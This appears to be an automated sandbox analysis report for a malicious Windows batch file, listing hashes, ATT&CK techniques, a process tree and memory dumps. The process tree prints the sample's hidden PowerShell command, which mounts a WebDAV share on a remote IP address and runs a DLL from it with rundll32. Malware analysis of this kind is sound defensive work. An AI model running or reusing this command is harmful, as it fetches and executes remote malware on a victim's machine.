0897c3cc235f44d3bb41ef51e3596ac7f71132c0894bcf59a79c2c1ac01d3e19

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 06:37

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General

Target

2624716736120382480.bat
Size

2KB
MD5

2995771242d3f03a3524a204aaf419bc
SHA1

16602b653bdf0a646bfb460a226535241401030f
SHA256

0897c3cc235f44d3bb41ef51e3596ac7f71132c0894bcf59a79c2c1ac01d3e19
SHA512

2bae689d48b55e732348d71a5ae5efa491e2ab96dabf8fffdd608adedba1ccd9b208b976ea3efe83365855c25913232f82c61351ce0dc88e7df1d6fc6cfd1541

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2680	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2700	wordpad.exe
2700	wordpad.exe
2700	wordpad.exe
2700	wordpad.exe
2700	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2844 wrote to memory of 2700	2844	cmd.exe	31
PID 2844 wrote to memory of 2700	2844	cmd.exe	31
PID 2844 wrote to memory of 2700	2844	cmd.exe	31
PID 2844 wrote to memory of 2680	2844	cmd.exe	32
PID 2844 wrote to memory of 2680	2844	cmd.exe	32
PID 2844 wrote to memory of 2680	2844	cmd.exe	32
PID 2680 wrote to memory of 2600	2680	powershell.exe	34
PID 2680 wrote to memory of 2600	2680	powershell.exe	34
PID 2680 wrote to memory of 2600	2680	powershell.exe	34
PID 2680 wrote to memory of 2720	2680	powershell.exe	35
PID 2680 wrote to memory of 2720	2680	powershell.exe	35
PID 2680 wrote to memory of 2720	2680	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2624716736120382480.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2844
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1799.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2600
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1799.dll entry
    3⤵
    PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2680-23-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2680-24-0x0000000002A10000-0x0000000002A18000-memory.dmp

Filesize
32KB

Download